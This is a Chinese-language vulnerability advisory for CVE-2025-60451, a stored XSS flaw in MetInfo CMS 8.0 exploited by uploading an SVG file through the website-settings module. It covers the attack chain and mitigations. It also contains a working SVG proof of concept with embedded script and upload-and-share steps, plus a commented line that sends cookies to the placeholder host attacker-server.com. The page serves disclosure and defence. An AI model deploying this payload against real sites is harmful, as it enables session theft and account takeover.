IPBUF安全漏洞报告
English
CVE-2025-60451 CVSS 6.1 中危

CVE-2025-60451:MetInfo CMS 8.0 网站设置模块存储型XSS漏洞

披露日期: 2025-10-03

漏洞信息

漏洞编号
CVE-2025-60451
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
MetInfo CMS

相关标签

XSS存储型XSSCross-Site ScriptingMetInfoCMS文件上传SVGWeb安全CVE-2025-60451中危漏洞

漏洞概述

CVE-2025-60451是MetInfo CMS 8.0版本中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞于2025年10月3日公开披露,CVSS 3.1评分为6.1分,属于中危级别漏洞。

MetInfo是一款广泛使用的内容管理系统(CMS),主要用于企业建站,其8.0版本在全球范围内拥有大量用户。该漏洞的核心问题在于系统的文件上传组件对SVG格式文件的处理缺乏充分的安全验证和过滤机制。SVG(可缩放矢量图形)作为一种基于XML的图像格式,其本身支持嵌入JavaScript脚本代码,这一特性使其成为XSS攻击的潜在载体。

攻击者可以通过网站设置模块中的上传功能,将包含恶意JavaScript代码的SVG文件上传到服务器。由于系统未对SVG文件内容进行安全检查,恶意脚本会被持久化存储在服务器端。当其他用户或管理员访问包含该SVG文件的页面时,嵌入的恶意脚本将在受害者浏览器中自动执行,从而实现窃取用户会话cookie、劫持用户账户、篡改页面内容或执行其他恶意操作。

该漏洞的攻击向量为网络(AV:N),无需任何特权(PR:N),但需要用户交互(UI:R)来触发,即需要受害者点击或访问包含恶意SVG的页面。漏洞的影响范围已改变(S:C),表明被攻击的资源超出了漏洞组件本身的权限范围。

技术细节

该漏洞存在于MetInfo CMS 8.0版本的文件上传组件中,具体路径为app\system\include\module\uploadify.class.php,位于网站设置(webset)模块中。

技术原理:
1. SVG格式特性利用:SVG是一种基于XML的矢量图形格式,与普通图片格式(如PNG、JPG)不同,SVG文件本质上是一个XML文档,可以在其中嵌入<script>标签、事件处理器(如onload、onclick等)以及外部资源引用。当浏览器渲染SVG文件时,会执行其中的JavaScript代码。

2. 上传验证缺陷:uploadify.class.php组件在处理文件上传时,未对上传文件的实际内容进行充分的安全检测。虽然系统可能对文件扩展名进行了基本检查,但未阻止SVG文件的上传,也未对SVG文件内部的XML内容进行恶意脚本过滤或沙箱化处理。

3. 存储型XSS机制:攻击者构造一个包含恶意JavaScript代码的SVG文件,例如在SVG文件中嵌入`<script>alert(document.cookie)</script>`或更复杂的载荷(如窃取cookie并发送到攻击者服务器)。该文件通过网站设置模块的上传接口上传后,被存储在服务器的文件系统中,并在网站页面中被引用展示。

4. 攻击触发:当受害者访问包含该恶意SVG的页面时,浏览器解析SVG文件并执行其中的JavaScript代码。由于脚本在受害者的会话上下文中执行,攻击者可以窃取会话令牌、执行未授权操作或进行钓鱼攻击。

利用方式:
- 攻击者首先注册一个普通账户或利用其他方式获得上传权限
- 构造包含恶意JavaScript的SVG文件
- 通过网站设置模块的上传功能上传该SVG文件
- 诱导管理员或其他用户访问包含恶意SVG的页面
- 恶意脚本在受害者浏览器中执行,实现cookie窃取或权限提升

攻击链分析

STEP 1
步骤1:构造恶意SVG文件
攻击者创建一个包含恶意JavaScript代码的SVG文件,该文件利用了SVG格式支持嵌入脚本的特性,在XML结构中嵌入<script>标签或事件处理器。
STEP 2
步骤2:上传恶意文件
攻击者通过MetInfo CMS 8.0网站设置模块的上传接口(uploadify.class.php组件)将恶意SVG文件上传到服务器。由于系统未对SVG内容进行安全验证,文件被成功存储。
STEP 3
步骤3:诱导受害者访问
攻击者通过钓鱼邮件、社交工程或其他方式诱导管理员或其他用户访问包含恶意SVG的页面链接。
STEP 4
步骤4:恶意脚本执行
受害者的浏览器加载并渲染恶意SVG文件时,嵌入的JavaScript代码在受害者会话上下文中自动执行。
STEP 5
步骤5:数据窃取或权限提升
恶意脚本可以窃取用户的会话cookie、劫持账户、执行未授权操作(如以管理员身份修改网站设置)、植入后门或进行进一步的内网渗透。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-60451 PoC - Stored XSS via Malicious SVG Upload in MetInfo CMS 8.0 --> <!-- Save the following content as 'malicious.svg' and upload via MetInfo CMS webset module --> <?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" width="500" height="500"> <script type="text/javascript"> // PoC for CVE-2025-60451 - Stored XSS in MetInfo CMS 8.0 // This script executes when the SVG file is rendered in a victim's browser // Example 1: Simple alert to demonstrate XSS execution alert('XSS Triggered - CVE-2025-60451'); // Example 2: Cookie exfiltration (for demonstration only) // var cookie = document.cookie; // var img = new Image(); // img.src = 'http://attacker-server.com/steal?cookie=' + encodeURIComponent(cookie); // Example 3: Using onload event as alternative trigger </script> <text x="10" y="50" font-size="20">Malicious SVG - CVE-2025-60451</text> </svg> <!-- Usage: 1. Save as malicious.svg 2. Login to MetInfo CMS 8.0 backend 3. Navigate to Website Settings module (网站设置) 4. Upload the malicious SVG file via the uploadify component 5. Share the URL of the uploaded SVG with victim 6. When victim opens the SVG URL, JavaScript executes in their browser context -->

影响范围

MetInfo CMS 8.0

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)限制网站设置模块的文件上传功能,仅允许可信用户使用;2)在Web服务器层面配置规则,拒绝上传包含<script>标签或JavaScript代码的SVG文件;3)将SVG文件存储在独立的域名下,并设置Cookie的SameSite属性为Strict,防止cookie泄露;4)部署Web应用防火墙(WAF)规则,检测和阻止包含恶意载荷的SVG文件上传;5)为管理员账户启用多因素认证(MFA),降低cookie窃取带来的风险;6)定期审计服务器上的上传文件,及时清理可疑的SVG文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表